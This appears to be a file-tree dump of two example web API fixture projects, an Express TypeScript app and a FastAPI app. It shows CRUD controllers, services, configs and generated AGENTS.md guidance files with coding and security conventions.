              // In-memory store for demo purposes
              const users = new Map<string, { id: string; email: string; name: string }>();
              
              export class UserController {
                getAll = async (_req: Request, res: Response): Promise<void> => {
                  const allUsers = Array.from(users.values());
                  res.json({ data: allUsers });
                };
              
                getById = async (req: Request, res: Response, next: NextFunction): Promise<void> => {
                  const user = users.get(req.params.id ?? '');
                  if (!user) {
                    next(new AppError('User not found', 404));
                    return;
                  }
                  res.json({ data: user });
                };
              
                create = async (req: Request, res: Response, next: NextFunction): Promise<void> => {
                  const parsed = createUserSchema.safeParse(req.body);
                  if (!parsed.success) {
                    next(new AppError('Validation failed', 400, parsed.error.flatten()));
                    return;
                  }
              
                  const id = crypto.randomUUID();
                  const user = { id, ...parsed.data };
                  users.set(id, user);
              
                  res.status(201).json({ data: user });
                };
              
                update = async (req: Request, res: Response, next: NextFunction): Promise<void> => {
                  const id = req.params.id ?? '';
                  const existing = users.get(id);
                  if (!existing) {
                    next(new AppError('User not found', 404));
                    return;
                  }
              
                  const parsed = updateUserSchema.safeParse(req.body);
                  if (!parsed.success) {
                    next(new AppError('Validation failed', 400, parsed.error.flatten()));
                    return;
                  }
              
                  const updated = { ...existing, ...parsed.data };
                  users.set(id, updated);
              
                  res.json({ data: updated });
                };
              
                delete = async (req: Request, res: Response, next: NextFunction): Promise<void> => {
                  const id = req.params.id ?? '';
                  if (!users.has(id)) {
                    next(new AppError('User not found', 404));
                    return;
                  }
              
                  users.delete(id);
                  res.status(204).send();
                };
              }
              
          • middleware
            • errorHandler.ts 1 KB
              import type { Request, Response, NextFunction } from 'express';
              import { AppError } from '../utils/errors.js';
              import { logger } from '../utils/logger.js';
              import { config } from '../config.js';
              
              interface ErrorResponse {
                error: {
                  message: string;
                  code?: string;
                  details?: unknown;
                  stack?: string;
                };
              }
              
              export function errorHandler(
                err: Error,
                _req: Request,
                res: Response<ErrorResponse>,
                _next: NextFunction
              ): void {
                logger.error('Request error', { error: err.message, stack: err.stack });
              
                if (err instanceof AppError) {
                  res.status(err.statusCode).json({
                    error: {
                      message: err.message,
                      code: err.code,
                      details: err.details,
                    },
                  });
                  return;
                }
              
                // Unknown error - don't leak internals in production
                const message = config.isProd ? 'Internal server error' : err.message;
                const response: ErrorResponse = {
                  error: { message },
                };
              
                if (!config.isProd) {
                  response.error.stack = err.stack;
                }
              
                res.status(500).json(response);
              }
              
            • requestLogger.ts 471 B
              import type { Request, Response, NextFunction } from 'express';
              import { logger } from '../utils/logger.js';
              
              export function requestLogger(req: Request, res: Response, next: NextFunction): void {
                const start = Date.now();
              
                res.on('finish', () => {
                  const duration = Date.now() - start;
                  logger.info('Request completed', {
                    method: req.method,
                    path: req.path,
                    status: res.statusCode,
                    duration: `${duration}ms`,
                  });
                });
              
                next();
              }
              
          • routes
            • health.ts 428 B
              import { Router, type Request, type Response } from 'express';
              
              const router = Router();
              
              router.get('/', (_req: Request, res: Response) => {
                res.json({
                  status: 'healthy',
                  timestamp: new Date().toISOString(),
                  uptime: process.uptime(),
                });
              });
              
              router.get('/ready', (_req: Request, res: Response) => {
                // Add database connectivity check here
                res.json({ ready: true });
              });
              
              export { router as healthRoutes };
              
            • users.ts 397 B
              import { Router } from 'express';
              import { UserController } from '../controllers/userController.js';
              
              const router = Router();
              const controller = new UserController();
              
              router.get('/', controller.getAll);
              router.get('/:id', controller.getById);
              router.post('/', controller.create);
              router.put('/:id', controller.update);
              router.delete('/:id', controller.delete);
              
              export { router as userRoutes };
              
          • utils
            • errors.ts 1.2 KB
              export class AppError extends Error {
                public readonly statusCode: number;
                public readonly code?: string;
                public readonly details?: unknown;
              
                constructor(message: string, statusCode: number = 500, details?: unknown, code?: string) {
                  super(message);
                  this.name = 'AppError';
                  this.statusCode = statusCode;
                  this.code = code;
                  this.details = details;
              
                  // Maintain proper stack trace
                  Error.captureStackTrace(this, this.constructor);
                }
              
                static badRequest(message: string, details?: unknown): AppError {
                  return new AppError(message, 400, details, 'BAD_REQUEST');
                }
              
                static unauthorized(message = 'Unauthorized'): AppError {
                  return new AppError(message, 401, undefined, 'UNAUTHORIZED');
                }
              
                static forbidden(message = 'Forbidden'): AppError {
                  return new AppError(message, 403, undefined, 'FORBIDDEN');
                }
              
                static notFound(resource = 'Resource'): AppError {
                  return new AppError(`${resource} not found`, 404, undefined, 'NOT_FOUND');
                }
              
                static conflict(message: string): AppError {
                  return new AppError(message, 409, undefined, 'CONFLICT');
                }
              
                static internal(message = 'Internal server error'): AppError {
                  return new AppError(message, 500, undefined, 'INTERNAL_ERROR');
                }
              }
              
            • logger.ts 441 B
              import winston from 'winston';
              import { config } from '../config.js';
              
              export const logger = winston.createLogger({
                level: config.logLevel,
                format: winston.format.combine(
                  winston.format.timestamp(),
                  winston.format.errors({ stack: true }),
                  config.isDev
                    ? winston.format.combine(winston.format.colorize(), winston.format.simple())
                    : winston.format.json()
                ),
                transports: [new winston.transports.Console()],
              });
              
          • AGENTS.md 3.1 KB
            <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: 2026-02-05 -->
            
            # AGENTS.md — src
            
            <!-- AGENTS-GENERATED:START overview -->
            ## Overview
            Backend services (TypeScript/Node.js)
            <!-- AGENTS-GENERATED:END overview -->
            
            <!-- AGENTS-GENERATED:START filemap -->
            ## Key Files
            | File | Purpose |
            |------|---------|
            | `src/config.ts` | (add description) |
            | `src/routes/health.ts` | Add database connectivity check here |
            | `src/routes/users.ts` | (add description) |
            | `src/index.ts` | Middleware |
            | `src/utils/logger.ts` | (add description) |
            <!-- AGENTS-GENERATED:END filemap -->
            
            <!-- AGENTS-GENERATED:START golden-samples -->
            ## Golden Samples (follow these patterns)
            | Pattern | Reference |
            |---------|-----------|
            | Standard implementation | `src/controllers/userController.ts` |
            <!-- AGENTS-GENERATED:END golden-samples -->
            
            <!-- AGENTS-GENERATED:START setup -->
            ## Setup & environment
            - Install: `pnpm install`
            - Node version: >=20.0.0
            - Package manager: pnpm
            - Environment variables: See .env or .env.example
            <!-- AGENTS-GENERATED:END setup -->
            
            <!-- AGENTS-GENERATED:START commands -->
            ## Build & tests
            - Typecheck (project-wide): `pnpm typecheck`
            - Format: `pnpm format`
            - Lint: `pnpm lint`
            - Test: `pnpm test`
            - Build: `pnpm build`
            - Dev server: `pnpm dev`
            <!-- AGENTS-GENERATED:END commands -->
            
            <!-- AGENTS-GENERATED:START code-style -->
            ## Code style & conventions
            - Use TypeScript strict mode (`strict: true` in tsconfig)
            - No `any` without explicit justification comment
            - Prefer `interface` over `type` for object shapes
            - Naming: `camelCase` for functions/vars, `PascalCase` for classes/types
            - Async/await over raw Promises
            - Prefer `const` over `let`, never use `var`
            - Destructure objects and arrays when appropriate
            <!-- AGENTS-GENERATED:END code-style -->
            
            <!-- AGENTS-GENERATED:START security -->
            ## Security & safety
            - Validate all user inputs (use zod or similar)
            - Parameterized queries only (no string concatenation)
            - Never use dynamic code execution with user data
            - Sensitive data: never log or expose in errors
            - Environment: use dotenv, never hardcode secrets
            - CORS: configure explicitly, no wildcard in production
            - Rate limiting: implement for public endpoints
            <!-- AGENTS-GENERATED:END security -->
            
            <!-- AGENTS-GENERATED:START checklist -->
            ## PR/commit checklist
            - [ ] Tests pass: `pnpm test`
            - [ ] Type check clean: `pnpm typecheck`
            - [ ] Lint clean: `pnpm lint`
            - [ ] Formatted: `pnpm format`
            - [ ] No `any` types without justification
            - [ ] API endpoints have validation
            - [ ] Error responses don't leak internals
            <!-- AGENTS-GENERATED:END checklist -->
            
            <!-- AGENTS-GENERATED:START examples -->
            ## Patterns to Follow
            > **Prefer looking at real code in this repo over generic examples.**
            > See **Golden Samples** section above for files that demonstrate correct patterns.
            <!-- AGENTS-GENERATED:END examples -->
            
            <!-- AGENTS-GENERATED:START help -->
            ## When stuck
            - Check Node.js docs: https://nodejs.org/docs
            - TypeScript handbook: https://www.typescriptlang.org/docs
            - Review existing patterns in this codebase
            - Check root AGENTS.md for project-wide conventions
            <!-- AGENTS-GENERATED:END help -->
            
          • config.ts 917 B
            import { z } from 'zod';
            
            const envSchema = z.object({
              PORT: z.coerce.number().default(3000),
              NODE_ENV: z.enum(['development', 'production', 'test']).default('development'),
              DATABASE_URL: z.string().url().optional(),
              LOG_LEVEL: z.enum(['debug', 'info', 'warn', 'error']).default('info'),
              JWT_SECRET: z.string().min(32).optional(),
              CORS_ORIGIN: z.string().url().optional(),
            });
            
            const parsed = envSchema.safeParse(process.env);
            
            if (!parsed.success) {
              console.error('Invalid environment variables:', parsed.error.flatten().fieldErrors);
              process.exit(1);
            }
            
            export const config = {
              port: parsed.data.PORT,
              nodeEnv: parsed.data.NODE_ENV,
              databaseUrl: parsed.data.DATABASE_URL,
              logLevel: parsed.data.LOG_LEVEL,
              jwtSecret: parsed.data.JWT_SECRET,
              corsOrigin: parsed.data.CORS_ORIGIN,
              isDev: parsed.data.NODE_ENV === 'development',
              isProd: parsed.data.NODE_ENV === 'production',
            } as const;
            
          • index.ts 671 B
            import express from 'express';
            import { config } from './config.js';
            import { logger } from './utils/logger.js';
            import { errorHandler } from './middleware/errorHandler.js';
            import { requestLogger } from './middleware/requestLogger.js';
            import { userRoutes } from './routes/users.js';
            import { healthRoutes } from './routes/health.js';
            
            const app = express();
            
            // Middleware
            app.use(express.json());
            app.use(requestLogger);
            
            // Routes
            app.use('/api/users', userRoutes);
            app.use('/health', healthRoutes);
            
            // Error handling (must be last)
            app.use(errorHandler);
            
            app.listen(config.port, () => {
              logger.info(`Server running on port ${config.port}`);
            });
            
            export { app };
            
        • .env.example 232 B · in bundle
        • AGENTS.md 3.1 KB
          <!-- FOR AI AGENTS - Human readability is a side effect, not a goal -->
          <!-- Managed by agent: keep sections and order; edit content, not structure -->
          <!-- Last updated: 2026-02-05 | Last verified: never -->
          
          # AGENTS.md
          
          **Precedence:** the **closest `AGENTS.md`** to the files you're changing wins. Root holds global defaults only.
          
          ## Commands (unverified)
          > Source: package.json — CI-sourced commands are most reliable
          
          <!-- AGENTS-GENERATED:START commands -->
          | Task | Command | ~Time |
          |------|---------|-------|
          | Typecheck | pnpm typecheck | ~15s |
          | Lint | pnpm lint | ~10s |
          | Format | pnpm format | ~5s |
          | Test (single) | pnpm dlx vitest run | ~2s |
          | Test (all) | pnpm test | ~30s |
          | Build | pnpm build | ~30s |
          <!-- AGENTS-GENERATED:END commands -->
          
          > If commands fail, verify against Makefile/package.json/composer.json or ask user to update.
          
          ## Workflow
          1. **Before coding**: Read nearest `AGENTS.md` + check Golden Samples for the area you're touching
          2. **After each change**: Run the smallest relevant check (lint → typecheck → single test)
          3. **Before committing**: Run full test suite if changes affect >2 files or touch shared code
          
          ## File Map
          <!-- AGENTS-GENERATED:START filemap -->
          ```
          src/             → application source code
          ```
          <!-- AGENTS-GENERATED:END filemap -->
          
          ## Golden Samples (follow these patterns)
          <!-- AGENTS-GENERATED:START golden-samples -->
          | For | Reference | Key patterns |
          |-----|-----------|--------------|
          | Entrypoint | `src/index.ts` | standard patterns |
          <!-- AGENTS-GENERATED:END golden-samples -->
          
          ## Heuristics (quick decisions)
          <!-- AGENTS-GENERATED:START heuristics -->
          | When | Do |
          |------|-----|
          | Adding env var | Add to `.env.example` first |
          | Committing | Use Conventional Commits (feat:, fix:, docs:, etc.) |
          | Merging PRs | Squash and merge |
          | Adding dependency | Ask first - we minimize deps |
          | Unsure about pattern | Check Golden Samples above |
          <!-- AGENTS-GENERATED:END heuristics -->
          
          ## Repository Settings
          <!-- AGENTS-GENERATED:START repo-settings -->
          - **Default branch:** `main`
          - **Merge strategy:** squash, merge, rebase
          <!-- AGENTS-GENERATED:END repo-settings -->
          
          ## Boundaries
          
          ### Always Do
          - Run pre-commit checks before committing
          - Add tests for new code paths
          - Use conventional commit format: `type(scope): subject`
          - Use TypeScript strict mode with proper type annotations
          
          ### Ask First
          - Adding new dependencies
          - Modifying CI/CD configuration
          - Changing public API signatures
          - Running full e2e test suites
          - Repo-wide refactoring or rewrites
          
          ### Never Do
          - Commit secrets, credentials, or sensitive data
          - Modify vendor/, node_modules/, or generated files
          - Push directly to main/master branch
          - Delete migration files or schema changes
          - Commit package-lock.json without package.json changes
          - Use any type without justification
          
          ## Index of scoped AGENTS.md
          <!-- AGENTS-GENERATED:START scope-index -->
          - `./src/AGENTS.md` — Backend services (TypeScript/Node.js)
          <!-- AGENTS-GENERATED:END scope-index -->
          
          ## When instructions conflict
          The nearest `AGENTS.md` wins. Explicit user prompts override files.
          - For TypeScript/JavaScript patterns, follow project eslint/prettier config
          
        • package.json 758 B
          {
            "name": "express-api-ts",
            "version": "1.0.0",
            "description": "Express.js REST API with TypeScript",
            "main": "dist/index.js",
            "scripts": {
              "dev": "tsx watch src/index.ts",
              "build": "tsc",
              "start": "node dist/index.js",
              "test": "vitest run",
              "test:watch": "vitest",
              "lint": "eslint src/",
              "format": "prettier --write src/",
              "typecheck": "tsc --noEmit"
            },
            "dependencies": {
              "express": "^4.21.0",
              "zod": "^3.23.0",
              "winston": "^3.14.0"
            },
            "devDependencies": {
              "@types/express": "^4.17.21",
              "@types/node": "^22.0.0",
              "eslint": "^9.12.0",
              "prettier": "^3.3.0",
              "tsx": "^4.19.0",
              "typescript": "^5.6.0",
              "vitest": "^4.1.11"
            },
            "engines": {
              "node": ">=20.0.0"
            }
          }
          
        • pnpm-lock.yaml 101 B
          # pnpm lockfile placeholder
          # This file indicates pnpm is the package manager
          lockfileVersion: '9.0'
          
        • tsconfig.json 630 B
          {
            "compilerOptions": {
              "target": "ES2022",
              "module": "NodeNext",
              "moduleResolution": "NodeNext",
              "lib": ["ES2022"],
              "outDir": "./dist",
              "rootDir": "./src",
              "strict": true,
              "esModuleInterop": true,
              "skipLibCheck": true,
              "forceConsistentCasingInFileNames": true,
              "resolveJsonModule": true,
              "declaration": true,
              "declarationMap": true,
              "sourceMap": true,
              "noUncheckedIndexedAccess": true,
              "noImplicitReturns": true,
              "noFallthroughCasesInSwitch": true,
              "exactOptionalPropertyTypes": true
            },
            "include": ["src/**/*"],
            "exclude": ["node_modules", "dist"]
          }
          
      • fastapi-app
        • src
          • models
            • item.py 1 KB
              """Item model schemas."""
              
              from datetime import datetime
              from decimal import Decimal
              
              from pydantic import BaseModel, Field
              
              
              class ItemBase(BaseModel):
                  """Base item schema with common fields."""
              
                  name: str = Field(..., min_length=1, max_length=200)
                  description: str | None = None
                  price: Decimal = Field(..., ge=0, decimal_places=2)
                  quantity: int = Field(default=0, ge=0)
                  is_available: bool = True
              
              
              class ItemCreate(ItemBase):
                  """Schema for creating a new item."""
              
                  owner_id: int
              
              
              class ItemUpdate(BaseModel):
                  """Schema for updating an existing item."""
              
                  name: str | None = Field(None, min_length=1, max_length=200)
                  description: str | None = None
                  price: Decimal | None = Field(None, ge=0, decimal_places=2)
                  quantity: int | None = Field(None, ge=0)
                  is_available: bool | None = None
              
              
              class Item(ItemBase):
                  """Item response schema."""
              
                  id: int
                  owner_id: int
                  created_at: datetime
                  updated_at: datetime | None = None
              
                  model_config = {"from_attributes": True}
              
            • user.py 922 B
              """User model schemas."""
              
              from datetime import datetime
              
              from pydantic import BaseModel, EmailStr, Field
              
              
              class UserBase(BaseModel):
                  """Base user schema with common fields."""
              
                  email: EmailStr
                  username: str = Field(..., min_length=3, max_length=50)
                  full_name: str | None = None
                  is_active: bool = True
              
              
              class UserCreate(UserBase):
                  """Schema for creating a new user."""
              
                  password: str = Field(..., min_length=8)
              
              
              class UserUpdate(BaseModel):
                  """Schema for updating an existing user."""
              
                  email: EmailStr | None = None
                  username: str | None = Field(None, min_length=3, max_length=50)
                  full_name: str | None = None
                  is_active: bool | None = None
                  password: str | None = Field(None, min_length=8)
              
              
              class User(UserBase):
                  """User response schema."""
              
                  id: int
                  created_at: datetime
                  updated_at: datetime | None = None
              
                  model_config = {"from_attributes": True}
              
            • __init__.py 278 B
              """Pydantic models for request/response schemas."""
              
              from src.models.item import Item, ItemCreate, ItemUpdate
              from src.models.user import User, UserCreate, UserUpdate
              
              __all__ = [
                  "Item",
                  "ItemCreate",
                  "ItemUpdate",
                  "User",
                  "UserCreate",
                  "UserUpdate",
              ]
              
          • routes
            • health.py 470 B
              """Health check endpoints."""
              
              from fastapi import APIRouter
              
              from src.config import settings
              
              router = APIRouter()
              
              
              @router.get("/health")
              async def health_check() -> dict[str, str]:
                  """Basic health check endpoint."""
                  return {"status": "healthy", "app": settings.app_name}
              
              
              @router.get("/ready")
              async def readiness_check() -> dict[str, str]:
                  """Readiness check endpoint."""
                  # Could add database connectivity check here
                  return {"status": "ready"}
              
            • items.py 1.9 KB
              """Item management endpoints."""
              
              from fastapi import APIRouter, HTTPException, Query, status
              
              from src.models.item import Item, ItemCreate, ItemUpdate
              from src.services.item_service import ItemService
              
              router = APIRouter()
              item_service = ItemService()
              
              
              @router.get("/", response_model=list[Item])
              async def list_items(
                  skip: int = Query(0, ge=0),
                  limit: int = Query(100, ge=1, le=1000),
                  search: str | None = None,
              ) -> list[Item]:
                  """List all items with pagination and optional search."""
                  if search:
                      return item_service.search(search, skip=skip, limit=limit)
                  return item_service.get_all(skip=skip, limit=limit)
              
              
              @router.get("/{item_id}", response_model=Item)
              async def get_item(item_id: int) -> Item:
                  """Get a specific item by ID."""
                  item = item_service.get_by_id(item_id)
                  if not item:
                      raise HTTPException(
                          status_code=status.HTTP_404_NOT_FOUND,
                          detail=f"Item with id {item_id} not found",
                      )
                  return item
              
              
              @router.post("/", response_model=Item, status_code=status.HTTP_201_CREATED)
              async def create_item(item_data: ItemCreate) -> Item:
                  """Create a new item."""
                  return item_service.create(item_data)
              
              
              @router.put("/{item_id}", response_model=Item)
              async def update_item(item_id: int, item_data: ItemUpdate) -> Item:
                  """Update an existing item."""
                  item = item_service.update(item_id, item_data)
                  if not item:
                      raise HTTPException(
                          status_code=status.HTTP_404_NOT_FOUND,
                          detail=f"Item with id {item_id} not found",
                      )
                  return item
              
              
              @router.delete("/{item_id}", status_code=status.HTTP_204_NO_CONTENT)
              async def delete_item(item_id: int) -> None:
                  """Delete an item."""
                  if not item_service.delete(item_id):
                      raise HTTPException(
                          status_code=status.HTTP_404_NOT_FOUND,
                          detail=f"Item with id {item_id} not found",
                      )
              
            • users.py 1.7 KB
              """User management endpoints."""
              
              from fastapi import APIRouter, HTTPException, status
              
              from src.models.user import User, UserCreate, UserUpdate
              from src.services.user_service import UserService
              
              router = APIRouter()
              user_service = UserService()
              
              
              @router.get("/", response_model=list[User])
              async def list_users(skip: int = 0, limit: int = 100) -> list[User]:
                  """List all users with pagination."""
                  return user_service.get_all(skip=skip, limit=limit)
              
              
              @router.get("/{user_id}", response_model=User)
              async def get_user(user_id: int) -> User:
                  """Get a specific user by ID."""
                  user = user_service.get_by_id(user_id)
                  if not user:
                      raise HTTPException(
                          status_code=status.HTTP_404_NOT_FOUND,
                          detail=f"User with id {user_id} not found",
                      )
                  return user
              
              
              @router.post("/", response_model=User, status_code=status.HTTP_201_CREATED)
              async def create_user(user_data: UserCreate) -> User:
                  """Create a new user."""
                  return user_service.create(user_data)
              
              
              @router.put("/{user_id}", response_model=User)
              async def update_user(user_id: int, user_data: UserUpdate) -> User:
                  """Update an existing user."""
                  user = user_service.update(user_id, user_data)
                  if not user:
                      raise HTTPException(
                          status_code=status.HTTP_404_NOT_FOUND,
                          detail=f"User with id {user_id} not found",
                      )
                  return user
              
              
              @router.delete("/{user_id}", status_code=status.HTTP_204_NO_CONTENT)
              async def delete_user(user_id: int) -> None:
                  """Delete a user."""
                  if not user_service.delete(user_id):
                      raise HTTPException(
                          status_code=status.HTTP_404_NOT_FOUND,
                          detail=f"User with id {user_id} not found",
                      )
              
            • __init__.py 110 B
              """API route modules."""
              
              from src.routes import health, items, users
              
              __all__ = ["health", "items", "users"]
              
          • services
            • item_service.py 2.5 KB
              """Item service for business logic."""
              
              from datetime import UTC, datetime
              
              from src.models.item import Item, ItemCreate, ItemUpdate
              
              
              class ItemService:
                  """Service class for item operations."""
              
                  def __init__(self) -> None:
                      """Initialize with in-memory storage for demo."""
                      self._items: dict[int, Item] = {}
                      self._next_id = 1
              
                  def get_all(self, skip: int = 0, limit: int = 100) -> list[Item]:
                      """Get all items with pagination."""
                      items = list(self._items.values())
                      return items[skip : skip + limit]
              
                  def get_by_id(self, item_id: int) -> Item | None:
                      """Get an item by ID."""
                      return self._items.get(item_id)
              
                  def search(self, query: str, skip: int = 0, limit: int = 100) -> list[Item]:
                      """Search items by name or description."""
                      query_lower = query.lower()
                      results = [
                          item
                          for item in self._items.values()
                          if query_lower in item.name.lower()
                          or (item.description and query_lower in item.description.lower())
                      ]
                      return results[skip : skip + limit]
              
                  def get_by_owner(self, owner_id: int) -> list[Item]:
                      """Get all items for a specific owner."""
                      return [item for item in self._items.values() if item.owner_id == owner_id]
              
                  def create(self, item_data: ItemCreate) -> Item:
                      """Create a new item."""
                      item = Item(
                          id=self._next_id,
                          name=item_data.name,
                          description=item_data.description,
                          price=item_data.price,
                          quantity=item_data.quantity,
                          is_available=item_data.is_available,
                          owner_id=item_data.owner_id,
                          created_at=datetime.now(UTC),
                      )
                      self._items[self._next_id] = item
                      self._next_id += 1
                      return item
              
                  def update(self, item_id: int, item_data: ItemUpdate) -> Item | None:
                      """Update an existing item."""
                      item = self._items.get(item_id)
                      if not item:
                          return None
              
                      update_data = item_data.model_dump(exclude_unset=True)
                      updated_item = item.model_copy(
                          update={
                              **update_data,
                              "updated_at": datetime.now(UTC),
                          }
                      )
                      self._items[item_id] = updated_item
                      return updated_item
              
                  def delete(self, item_id: int) -> bool:
                      """Delete an item."""
                      if item_id not in self._items:
                          return False
                      del self._items[item_id]
                      return True
              
            • user_service.py 2.1 KB
              """User service for business logic."""
              
              from datetime import UTC, datetime
              
              from src.models.user import User, UserCreate, UserUpdate
              
              
              class UserService:
                  """Service class for user operations."""
              
                  def __init__(self) -> None:
                      """Initialize with in-memory storage for demo."""
                      self._users: dict[int, User] = {}
                      self._next_id = 1
              
                  def get_all(self, skip: int = 0, limit: int = 100) -> list[User]:
                      """Get all users with pagination."""
                      users = list(self._users.values())
                      return users[skip : skip + limit]
              
                  def get_by_id(self, user_id: int) -> User | None:
                      """Get a user by ID."""
                      return self._users.get(user_id)
              
                  def get_by_email(self, email: str) -> User | None:
                      """Get a user by email."""
                      for user in self._users.values():
                          if user.email == email:
                              return user
                      return None
              
                  def create(self, user_data: UserCreate) -> User:
                      """Create a new user."""
                      user = User(
                          id=self._next_id,
                          email=user_data.email,
                          username=user_data.username,
                          full_name=user_data.full_name,
                          is_active=user_data.is_active,
                          created_at=datetime.now(UTC),
                      )
                      self._users[self._next_id] = user
                      self._next_id += 1
                      return user
              
                  def update(self, user_id: int, user_data: UserUpdate) -> User | None:
                      """Update an existing user."""
                      user = self._users.get(user_id)
                      if not user:
                          return None
              
                      update_data = user_data.model_dump(exclude_unset=True)
                      update_data.pop("password", None)  # Don't include password in response
              
                      updated_user = user.model_copy(
                          update={
                              **update_data,
                              "updated_at": datetime.now(UTC),
                          }
                      )
                      self._users[user_id] = updated_user
                      return updated_user
              
                  def delete(self, user_id: int) -> bool:
                      """Delete a user."""
                      if user_id not in self._users:
                          return False
                      del self._users[user_id]
                      return True
              
            • __init__.py 174 B
              """Business logic services."""
              
              from src.services.item_service import ItemService
              from src.services.user_service import UserService
              
              __all__ = ["ItemService", "UserService"]
              
          • AGENTS.md 2.9 KB
            <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: 2026-02-05 -->
            
            # AGENTS.md — src
            
            <!-- AGENTS-GENERATED:START overview -->
            ## Overview
            Backend services (Python)
            <!-- AGENTS-GENERATED:END overview -->
            
            <!-- AGENTS-GENERATED:START filemap -->
            ## Key Files
            | File | Purpose |
            |------|---------|
            | `src/config.py` | Application |
            | `src/__init__.py` | (add description) |
            | `src/services/__init__.py` | (add description) |
            | `src/services/item_service.py` | (add description) |
            | `src/services/user_service.py` | (add description) |
            <!-- AGENTS-GENERATED:END filemap -->
            
            <!-- AGENTS-GENERATED:START golden-samples -->
            ## Golden Samples (follow these patterns)
            | Pattern | Reference |
            |---------|-----------|
            | Standard implementation | `src/services/item_service.py` |
            <!-- AGENTS-GENERATED:END golden-samples -->
            
            <!-- AGENTS-GENERATED:START setup -->
            ## Setup & environment
            - Install: `pip install -e .`
            - Python version: >=3.11
            - Package manager: uv
            - Environment variables: See .env or .env.example
            <!-- AGENTS-GENERATED:END setup -->
            
            <!-- AGENTS-GENERATED:START commands -->
            ## Build & tests
            - Typecheck: `mypy .`
            - Format: `ruff format .`
            - Lint: `ruff check .`
            - Test: `pytest`
            <!-- AGENTS-GENERATED:END commands -->
            
            <!-- AGENTS-GENERATED:START code-style -->
            ## Code style & conventions
            - Follow PEP 8 style guide
            - Use type hints for all function signatures
            - Naming: `snake_case` for functions/variables, `PascalCase` for classes
            - Docstrings: Google style, required for public APIs
            - Imports: group by stdlib, third-party, local (use isort)
            - Modern Python: prefer `|` over `Union`, `list` over `List`
            <!-- AGENTS-GENERATED:END code-style -->
            
            <!-- AGENTS-GENERATED:START security -->
            ## Security & safety
            - Validate and sanitize all user inputs
            - Use parameterized queries for database access
            - Never use dynamic code execution with untrusted data
            - Sensitive data: never log or expose in errors
            - File paths: validate and use `pathlib` for path operations
            - Subprocess: use list args, avoid shell=True with user input
            <!-- AGENTS-GENERATED:END security -->
            
            <!-- AGENTS-GENERATED:START checklist -->
            ## PR/commit checklist
            - [ ] Tests pass: `pytest`
            - [ ] Type check clean: `mypy .`
            - [ ] Lint clean: `ruff check .`
            - [ ] Formatted: `ruff format .`
            - [ ] Public functions have docstrings
            <!-- AGENTS-GENERATED:END checklist -->
            
            <!-- AGENTS-GENERATED:START examples -->
            ## Patterns to Follow
            > **Prefer looking at real code in this repo over generic examples.**
            > See **Golden Samples** section above for files that demonstrate correct patterns.
            <!-- AGENTS-GENERATED:END examples -->
            
            <!-- AGENTS-GENERATED:START help -->
            ## When stuck
            - Check Python documentation: https://docs.python.org
            - Review existing patterns in this codebase
            - Check root AGENTS.md for project-wide conventions
            - Use `python -m pydoc <module>` for stdlib help
            <!-- AGENTS-GENERATED:END help -->
            
          • config.py 1.1 KB
            """Application configuration using pydantic-settings."""
            
            from functools import lru_cache
            
            from pydantic_settings import BaseSettings, SettingsConfigDict
            
            
            class Settings(BaseSettings):
                """Application settings loaded from environment variables."""
            
                model_config = SettingsConfigDict(
                    env_file=".env",
                    env_file_encoding="utf-8",
                    case_sensitive=False,
                )
            
                # Application
                app_name: str = "fastapi-app"
                app_env: str = "development"
                debug: bool = True
            
                # Server
                host: str = "0.0.0.0"
                port: int = 8000
                workers: int = 1
            
                # Database
                database_url: str = "postgresql://user:password@localhost:5432/fastapi_app"
            
                # Security
                secret_key: str = "change-me-in-production"
                api_key: str = ""
            
                # External Services
                redis_url: str = "redis://localhost:6379/0"
            
                @property
                def is_production(self) -> bool:
                    """Check if running in production environment."""
                    return self.app_env == "production"
            
            
            @lru_cache
            def get_settings() -> Settings:
                """Get cached settings instance."""
                return Settings()
            
            
            settings = get_settings()
            
          • main.py 1.7 KB
            """FastAPI application entry point."""
            
            from collections.abc import AsyncIterator
            from contextlib import asynccontextmanager
            
            import uvicorn
            from fastapi import FastAPI
            from fastapi.middleware.cors import CORSMiddleware
            
            from src.config import settings
            from src.routes import health, items, users
            
            
            @asynccontextmanager
            async def lifespan(_app: FastAPI) -> AsyncIterator[None]:
                """Application lifespan context manager."""
                # Startup
                print(f"Starting {settings.app_name}...")
                yield
                # Shutdown
                print(f"Shutting down {settings.app_name}...")
            
            
            def create_app() -> FastAPI:
                """Create and configure the FastAPI application."""
                app = FastAPI(
                    title=settings.app_name,
                    version="0.1.0",
                    description="Example FastAPI application",
                    lifespan=lifespan,
                )
            
                # CORS middleware — wildcard origins here are intentional for this
                # fixture example only; real deployments must set concrete origins
                # from settings (e.g. settings.cors_allowed_origins).
                app.add_middleware(
                    CORSMiddleware,
                    allow_origins=["*"],  # nosemgrep: python.fastapi.security.wildcard-cors.wildcard-cors
                    allow_credentials=True,
                    allow_methods=["*"],
                    allow_headers=["*"],
                )
            
                # Include routers
                app.include_router(health.router, tags=["health"])
                app.include_router(users.router, prefix="/api/v1/users", tags=["users"])
                app.include_router(items.router, prefix="/api/v1/items", tags=["items"])
            
                return app
            
            
            app = create_app()
            
            
            def run() -> None:
                """Run the application with uvicorn."""
                uvicorn.run(
                    "src.main:app",
                    host=settings.host,
                    port=settings.port,
                    reload=settings.debug,
                )
            
            
            if __name__ == "__main__":
                run()
            
          • __init__.py 58 B
            """FastAPI application package."""
            
            __version__ = "0.1.0"
            
        • .env.example 348 B · in bundle
        • AGENTS.md 3.2 KB
          <!-- FOR AI AGENTS - Human readability is a side effect, not a goal -->
          <!-- Managed by agent: keep sections and order; edit content, not structure -->
          <!-- Last updated: 2026-02-05 | Last verified: never -->
          
          # AGENTS.md
          
          **Precedence:** the **closest `AGENTS.md`** to the files you're changing wins. Root holds global defaults only.
          
          ## Commands (unverified)
          > Source: pyproject.toml — CI-sourced commands are most reliable
          
          <!-- AGENTS-GENERATED:START commands -->
          | Task | Command | ~Time |
          |------|---------|-------|
          | Typecheck | mypy . | ~15s |
          | Lint | ruff check . | ~10s |
          | Format | ruff format . | ~5s |
          | Test (single) | pytest | ~2s |
          | Test (all) | pytest | ~30s |
          <!-- AGENTS-GENERATED:END commands -->
          
          > If commands fail, verify against Makefile/package.json/composer.json or ask user to update.
          
          ## Workflow
          1. **Before coding**: Read nearest `AGENTS.md` + check Golden Samples for the area you're touching
          2. **After each change**: Run the smallest relevant check (lint → typecheck → single test)
          3. **Before committing**: Run full test suite if changes affect >2 files or touch shared code
          
          ## File Map
          <!-- AGENTS-GENERATED:START filemap -->
          ```
          src/             → application source code
          ```
